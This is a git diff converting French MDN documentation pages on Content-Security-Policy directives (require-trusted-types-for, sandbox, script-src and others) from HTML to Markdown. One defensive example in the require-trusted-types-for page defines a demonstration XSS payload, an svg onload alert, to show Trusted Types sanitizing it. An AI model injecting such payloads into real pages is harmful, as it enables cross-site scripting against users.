script style -<p>Cet élément {{HTMLElement("script")}} sera chargé et exécuté puisqu'il utilise un attribut <code>integrity</code> valide.</p> +Cet élément {{HTMLElement("script")}} sera chargé et exécuté puisqu'il utilise un attribut `integrity` valide. -<pre class="brush: html; example-good"><script src="https://code.jquery.com/jquery-3.1.1.slim.js" +```html example-good +<script src="https://code.jquery.com/jquery-3.1.1.slim.js" integrity="sha256-5i/mQ300M779N2OVDrl16lbohwXNUdzL/R2aVUXyXWA=" - crossorigin="anonymous"></script></pre> + crossorigin="anonymous"></script> +``` -<p>Toutefois, ce script sera bloqué car il n'utilise pas cet attribut :</p> +Toutefois, ce script sera bloqué car il n'utilise pas cet attribut : -<pre class="brush: html; example-bad"><script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script></pre> +```html example-bad +<script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script> +``` -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.require-sri-for")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.require-sri-for")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li><a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a></li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- [Subresource Integrity](/en-US/docs/Web/Security/Subresource_Integrity) diff --git a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md index fea32fdcd9..aa47591d59 100644 --- a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md +++ b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md @@ -13,76 +13,57 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>require-trusted-types-for</strong></code> {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur <a href="/en-US/docs/Web/API/Element/innerHTML">Element.innerHTML</a>.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`require-trusted-types-for`** {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur [Element.innerHTML](/en-US/docs/Web/API/Element/innerHTML). -<p>Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère. Conjointement à la directive <strong><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types">trusted-types</a></code></strong>, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture.</p> +Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère. Conjointement à la directive **[`trusted-types`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types)**, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre>Content-Security-Policy: require-trusted-types-for 'script'; -</pre> + Content-Security-Policy: require-trusted-types-for 'script'; -<dl> - <dt><code>'script'</code></dt> - <dd>Interdit l'usage de chaine de caractères avec les fonctions du puits d'injection XSS du DOM, et requiert que les types correspondant soient créés par des règles de Trusted Type.</dd> -</dl> +- `'script'` + - : Interdit l'usage de chaine de caractères avec les fonctions du puits d'injection XSS du DOM, et requiert que les types correspondant soient créés par des règles de Trusted Type. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre class="brush: js">// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types foo; +```js +// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types foo; -const attackerInput = '<svg onload="alert(/cross-site-scripting/)" />'; +const attackerInput = '<svg onload="alert(/cross-site-scripting/)" />'; const el = document.createElement('div'); if (typeof trustedTypes !== 'undefined') { // Create a policy that can create TrustedHTML values // after sanitizing the input strings with DOMPurify library. const sanitizer = trustedTypes.createPolicy('foo', { - createHTML: (input) => DOMPurify.sanitize(input) + createHTML: (input) => DOMPurify.sanitize(input) }); el.innerHTML = sanitizer.createHTML(attackerInput); // Puts the sanitized value into the DOM. el.innerHTML = attackerInput; // Rejects a string value; throws a TypeError. } -</pre> +``` -<h2 id="Prothèse_démulaiton">Prothèse d'émulaiton</h2> +## Prothèse d'émulaiton -<p>Une <a href="https://github.com/w3c/webappsec-trusted-types#polyfill">prothèse d'émulation pour les Trusted Types</a> est disponible sur Github.</p> +Une [prothèse d'émulation pour les Trusted Types](https://github.com/w3c/webappsec-trusted-types#polyfill) est disponible sur Github. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a></td> - <td>Draft</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------- | ------ | -------------------- | +| [Trusted Types](https://w3c.github.io/webappsec-trusted-types/dist/spec/) | Draft | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs +{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}} +## Voir aussi -<p>{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li><a href="/en-US/docs/Glossary/Cross-site_scripting">Cross-Site Scripting (XSS)</a></li> - <li><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/#injection-sinks">DOM XSS injection sinks covered by Trusted Types</a></li> - <li><a href="https://web.dev/trusted-types">Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types</a></li> - <li>Trusted Types with <a href="https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types">DOMPurify</a> XSS sanitizer</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- [Cross-Site Scripting (XSS)](/en-US/docs/Glossary/Cross-site_scripting) +- [DOM XSS injection sinks covered by Trusted Types](https://w3c.github.io/webappsec-trusted-types/dist/spec/#injection-sinks) +- [Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types](https://web.dev/trusted-types) +- Trusted Types with [DOMPurify](https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types) XSS sanitizer diff --git a/files/fr/web/http/headers/content-security-policy/sandbox/index.md b/files/fr/web/http/headers/content-security-policy/sandbox/index.md index 626398f914..956d2452ca 100644 --- a/files/fr/web/http/headers/content-security-policy/sandbox/index.md +++ b/files/fr/web/http/headers/content-security-policy/sandbox/index.md @@ -11,99 +11,85 @@ tags: - Sécurité translation_of: Web/HTTP/Headers/Content-Security-Policy/sandbox --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>sandbox</strong></code> active un bac à sable (<em>sandbox</em>) pour les ressources demandées similaire à l'attribut {{htmlattrxref("sandbox", "iframe")}} des éléments {{HTMLElement("iframe")}}. Elle applique des restrictions aux actions d'une page, dont le fait d'empêcher les fenêtres intruses (<em>popups</em>) et l'exécution de greffons et de scripts et de créer une contrainte de même origine.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`sandbox`** active un bac à sable (_sandbox_) pour les ressources demandées similaire à l'attribut {{htmlattrxref("sandbox", "iframe")}} des éléments {{HTMLElement("iframe")}}. Elle applique des restrictions aux actions d'une page, dont le fait d'empêcher les fenêtres intruses (_popups_) et l'exécution de greffons et de scripts et de créer une contrainte de même origine. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1.1 / 2</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Document directive")}}</td> - </tr> - <tr> - <th colspan="2" scope="row">Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}} ou par l'en-tête {{HTTPHeader("Content-Security-policy-Report-Only")}}.</th> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1.1 / 2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Document directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row"> + Cette directive n'est pas supportée dans l'élément + {{HTMLElement("meta")}} ou par l'en-tête + {{HTTPHeader("Content-Security-policy-Report-Only")}}. + </th> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">Content-Security-Policy: sandbox; -Content-Security-Policy: sandbox <valeur>; -</pre> - -<p>Où <code><valeur></code> peut optionnellement être une valeur parmi :</p> - -<dl> - <dt><code>allow-downloads-without-user-activation</code> {{experimental_inline}}</dt> - <dd>Autorise les téléchargements sans action de l'utilisateur.</dd> -</dl> - -<dl> - <dt><code>allow-forms</code></dt> - <dd>Autorise la soumission de de formulaires. Si ce mot-clé n'est pas spécifié, cette opération est interdite.</dd> - <dt><code>allow-modals</code></dt> - <dd>Autorise la page à ouvrir des fenêtres modales.</dd> - <dt><code>allow-orientation-lock</code></dt> - <dd>Autorise la page à désactiver la possibilité de verrouiller l'orientation de l'écran.</dd> - <dt><code>allow-pointer-lock</code></dt> - <dd>Autorise la page à utiliser l'<a href="/en-US/docs/WebAPI/Pointer_Lock">API Pointer Lock</a>.</dd> - <dt><code>allow-popups</code></dt> - <dd>Autorise les fenêtres intruses (comme avec <code>window.open</code>, <code>target="_blank"</code>, <code>showModalDialog</code>). Si ce mot-clé n'est pas utilisée, cette fonctionnalité échouera en silence.</dd> - <dt><code>allow-popups-to-escape-sandbox</code></dt> - <dd>Autorise un document cloisonné dans une bac à sable à ouvrir de nouvelles fenêtres sans les contraindre à appliquer les mêmes règles. Cela permettra, par exemple, à une publicité externe d'être sainement cloisonnée sans imposer les mêmes restrictions sur une page d'accueil.</dd> - <dt><code>allow-presentation</code></dt> - <dd>Autorise les pages embarquantes à avoir contrôle sur la possibilité pour l'iframe de démarrer une session de présentation ou non.</dd> - <dt><code>allow-same-origin</code></dt> - <dd>Autorise le contenu à être traité comme étant de son origine normale. Si ce mot-clé n'est pas utilisé, les contenu embarqués seront traités comme étant d'une origine unique.</dd> - <dt><code>allow-scripts</code></dt> - <dd>Autorise la page à exécuter des scripts (mais non créer des fenêtres intruses). Si ce mot-clé n'est pas utilisée, cette opération n'est pas permise.</dd> - <dt><code>allow-storage-access-by-user-activation</code> {{experimental_inline}}</dt> - <dd>Laisse les requêtes de ressources accéder à l'espace de stockage du parent avec l'<a href="/en-US/docs/Web/API/Storage_Access_API">API Storage Access</a>.</dd> - <dt><code>allow-top-navigation</code></dt> - <dd>Autorise la page à charger du contenu au niveau supérieur de contexte navigationnel. Si ce mot-clé n'est pas utilisé, cette opération n'est pas permise.</dd> - <dt><code>allow-top-navigation-by-user-activation</code></dt> - <dd>Laisse la ressource naviguer jusqu'au niveau supérieur de contexte navigationnel, mais seulement si initié par une aciton de l'utilisateur.</dd> -</dl> - -<h2 id="Exemples">Exemples</h2> - -<pre class="brush: bash">Content-Security-Policy: sandbox allow-scripts;</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-sandbox", "sandbox")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-sandbox", "sandbox")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +## Syntaxe + + Content-Security-Policy: sandbox; + Content-Security-Policy: sandbox <valeur>; + +Où `<valeur>` peut optionnellement être une valeur parmi : + +- `allow-downloads-without-user-activation` {{experimental_inline}} + - : Autorise les téléchargements sans action de l'utilisateur. + +<!----> + +- `allow-forms` + - : Autorise la soumission de de formulaires. Si ce mot-clé n'est pas spécifié, cette opération est interdite. +- `allow-modals` + - : Autorise la page à ouvrir des fenêtres modales. +- `allow-orientation-lock` + - : Autorise la page à désactiver la possibilité de verrouiller l'orientation de l'écran. +- `allow-pointer-lock` + - : Autorise la page à utiliser l'[API Pointer Lock](/en-US/docs/WebAPI/Pointer_Lock). +- `allow-popups` + - : Autorise les fenêtres intruses (comme avec `window.open`, `target="_blank"`, `showModalDialog`). Si ce mot-clé n'est pas utilisée, cette fonctionnalité échouera en silence. +- `allow-popups-to-escape-sandbox` + - : Autorise un document cloisonné dans une bac à sable à ouvrir de nouvelles fenêtres sans les contraindre à appliquer les mêmes règles. Cela permettra, par exemple, à une publicité externe d'être sainement cloisonnée sans imposer les mêmes restrictions sur une page d'accueil. +- `allow-presentation` + - : Autorise les pages embarquantes à avoir contrôle sur la possibilité pour l'iframe de démarrer une session de présentation ou non. +- `allow-same-origin` + - : Autorise le contenu à être traité comme étant de son origine normale. Si ce mot-clé n'est pas utilisé, les contenu embarqués seront traités comme étant d'une origine unique. +- `allow-scripts` + - : Autorise la page à exécuter des scripts (mais non créer des fenêtres intruses). Si ce mot-clé n'est pas utilisée, cette opération n'est pas permise. +- `allow-storage-access-by-user-activation` {{experimental_inline}} + - : Laisse les requêtes de ressources accéder à l'espace de stockage du parent avec l'[API Storage Access](/en-US/docs/Web/API/Storage_Access_API). +- `allow-top-navigation` + - : Autorise la page à charger du contenu au niveau supérieur de contexte navigationnel. Si ce mot-clé n'est pas utilisé, cette opération n'est pas permise. +- `allow-top-navigation-by-user-activation` + - : Laisse la ressource naviguer jusqu'au niveau supérieur de contexte navigationnel, mais seulement si initié par une aciton de l'utilisateur. + +## Exemples + +```bash +Content-Security-Policy: sandbox allow-scripts; +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-sandbox", "sandbox")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-sandbox", "sandbox")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.sandbox")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.sandbox")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{htmlattrxref("sandbox", "iframe")}} attribute on {{HTMLElement("iframe")}} elements</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{htmlattrxref("sandbox", "iframe")}} attribute on {{HTMLElement("iframe")}} elements diff --git a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md index d08a6f4e57..e0d25ed7db 100644 --- a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md +++ b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md @@ -16,79 +16,66 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-attr --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src-attr</strong></code> spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme <code>onclick</code>, mais non les URL chargées par des éléments {{HTMLElement("script")}}.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`script-src-attr`** spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme `onclick`, mais non les URL chargées par des éléments {{HTMLElement("script")}}. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>3</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive {{CSP("script-src")}}, qui a pour valeur par défaut + celle de la directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: script-src-attr <source>; -Content-Security-Policy: script-src-attr <source> <source>; -</pre> + Content-Security-Policy: script-src-attr <source>; + Content-Security-Policy: script-src-attr <source> <source>; -<p><code>script-src-attr</code> peut être utilisée conjointement à {{CSP("script-src")}} :</p> +`script-src-attr` peut être utilisée conjointement à {{CSP("script-src")}} : -<pre class="syntaxbox">Content-Security-Policy: script-src <source>; -Content-Security-Policy: script-src-attr <source>; -</pre> + Content-Security-Policy: script-src <source>; + Content-Security-Policy: script-src-attr <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Valeur_par_défaut_avec_script-src">Valeur par défaut avec script-src</h3> +### Valeur par défaut avec script-src -<p>Si la directive <code>script-src-attr</code> est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.</p> +Si la directive `script-src-attr` est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-script-src-attr", "script-src-attr")}}</td> - <td>{{Spec2("CSP 3.0")}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-script-src-attr", "script-src-attr")}} | {{Spec2("CSP 3.0")}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src-attr")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.script-src-attr")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("script")}}</li> - <li>{{CSP("script-src")}}</li> - <li>{{CSP("script-src-elem")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("script")}} +- {{CSP("script-src")}} +- {{CSP("script-src-elem")}} diff --git a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md index 7d29bbef41..371af81c94 100644 --- a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md +++ b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md @@ -16,81 +16,66 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-elem --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>script-src-elem</code></strong> spécifie les sources valides pour des éléments {{HTMLElement("script")}} JavaScript, mais non pour des scripts embarqués ou des gestionnaire d'évènements par attribut comme <code>onclick</code>.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`script-src-elem`** spécifie les sources valides pour des éléments {{HTMLElement("script")}} JavaScript, mais non pour des scripts embarqués ou des gestionnaire d'évènements par attribut comme `onclick`. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>3</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive {{CSP("script-src")}}, qui a pour valeur par défaut + celle de la directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: script-src-elem <source>; -Content-Security-Policy: script-src-elem <source> <source>; -</pre> + Content-Security-Policy: script-src-elem <source>; + Content-Security-Policy: script-src-elem <source> <source>; -<p><code>script-src-elem</code> peut être utilisée conjointement à {{CSP("script-src")}} :</p> +`script-src-elem` peut être utilisée conjointement à {{CSP("script-src")}} : -<pre class="syntaxbox">Content-Security-Policy: script-src <source>; -Content-Security-Policy: script-src-elem <source>; -</pre> + Content-Security-Policy: script-src <source>; + Content-Security-Policy: script-src-elem <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Valeur_par_défaut_avec_script-src">Valeur par défaut avec script-src</h3> +### Valeur par défaut avec script-src -<p>Si la directive <code>script-src-elem</code> est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.</p> +Si la directive `script-src-elem` est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}. -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}}</td> - <td>{{Spec2("CSP 3.0")}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Spécifications +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}} | {{Spec2("CSP 3.0")}} | Définition initiale. | +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("script")}}</li> - <li>{{CSP("script-src")}}</li> - <li>{{CSP("script-src-attr")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("script")}} +- {{CSP("script-src")}} +- {{CSP("script-src-attr")}} diff --git a/files/fr/web/http/headers/content-security-policy/script-src/index.md b/files/fr/web/http/headers/content-security-policy/script-src/index.md index a6b2659ae9..03f6414e8c 100644 --- a/files/fr/web/http/headers/content-security-policy/script-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/script-src/index.md @@ -15,162 +15,163 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src</strong></code> spécifie les sources valides pour du code JavaScript. Cela inclut non seulement les URL chargées directement par les éléments {{HTMLElement("script")}}, mais aussi les scripts embarqués, les attributs de gestion d'évènements (<code>onclick</code>) et <a href="/en-US/docs/Web/XSLT">les feuilles de style XSLT</a> pouvant déclencher l'exécution de scripts.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`script-src`** spécifie les sources valides pour du code JavaScript. Cela inclut non seulement les URL chargées directement par les éléments {{HTMLElement("script")}}, mais aussi les scripts embarqués, les attributs de gestion d'évènements (`onclick`) et [les feuilles de style XSLT](/en-US/docs/Web/XSLT) pouvant déclencher l'exécution de scripts. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: script-src <source>; -Content-Security-Policy: script-src <source> <source>; -</pre> + Content-Security-Policy: script-src <source>; + Content-Security-Policy: script-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: script-src https://example.com/</pre> +```bash +Content-Security-Policy: script-src https://example.com/ +``` -<p>Ces scripts seront bloqués et ne seront pas chargés ou exécutés :</p> +Ces scripts seront bloqués et ne seront pas chargés ou exécutés : -<pre class="brush: html"><script src="https://not-example.com/js/library.js"></script></pre> +```html +<script src="https://not-example.com/js/library.js"></script> +``` -<p>Notez que les gestionnaires d'évènements par attributs sont aussi bloqués :</p> +Notez que les gestionnaires d'évènements par attributs sont aussi bloqués : -<pre class="brush: html"><button id="btn" onclick="doSomething()"></pre> +```html +<button id="btn" onclick="doSomething()"> +``` -<p>Vous devez les remplacer par des appels à la méthode {{domxref("EventTarget.addEventListener", "addEventListener")}} :</p> +Vous devez les remplacer par des appels à la méthode {{domxref("EventTarget.addEventListener", "addEventListener")}} : -<pre class="brush: js">document.getElementById("btn").addEventListener('click', doSomething);</pre> +```js +document.getElementById("btn").addEventListener('click', doSomething); +``` -<h3 id="Scripts_embarqués_non_fiables">Scripts embarqués non fiables</h3> +### Scripts embarqués non fiables -<div class="note"> -<p><strong>Note :</strong> Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.</p> -</div> +> **Note :** Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser. -<p>Vous pouvez autoriser les scripts embarqués et les gestionnaires d'évènements par attributs en spécifiant la valeur <code>'unsafe-inline'</code>, des nonces ou des hashs correspondant au script.</p> +Vous pouvez autoriser les scripts embarqués et les gestionnaires d'évènements par attributs en spécifiant la valeur `'unsafe-inline'`, des nonces ou des hashs correspondant au script. -<pre class="brush: bash">Content-Security-Policy: script-src 'unsafe-inline'; -</pre> +```bash +Content-Security-Policy: script-src 'unsafe-inline'; +``` -<p>Cette directive CSP autorisera tous les scripts {{HTMLElement("script")}} embarqués :</p> +Cette directive CSP autorisera tous les scripts {{HTMLElement("script")}} embarqués : -<pre class="brush: html"><script> +```html +<script> var inline = 1; 